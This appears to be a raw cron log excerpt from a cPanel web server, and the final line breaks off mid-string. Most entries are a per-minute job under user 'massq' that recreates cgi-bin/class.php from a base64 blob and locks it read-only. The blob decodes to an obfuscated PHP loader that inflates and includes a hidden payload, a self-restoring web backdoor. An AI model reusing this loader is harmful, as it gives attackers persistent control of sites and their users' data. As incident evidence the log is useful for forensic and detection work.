Apr  9 08:36:02 server CROND[13067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:37:01 server CROND[13128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:38:01 server CROND[13196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:39:01 server CROND[13255]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 08:39:01 server CROND[13256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:40:01 server CROND[13311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:40:01 server CROND[13312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:40:01 server CROND[13313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:40:01 server CROND[13314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:41:01 server CROND[13438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:42:01 server CROND[13581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:42:01 server CROND[13582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 08:43:01 server CROND[13639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:44:01 server CROND[13699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:45:01 server CROND[13766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:45:01 server CROND[13767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:45:01 server CROND[13768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:46:01 server CROND[13902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:47:01 server CROND[13954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:48:01 server CROND[14207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:49:01 server CROND[14260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y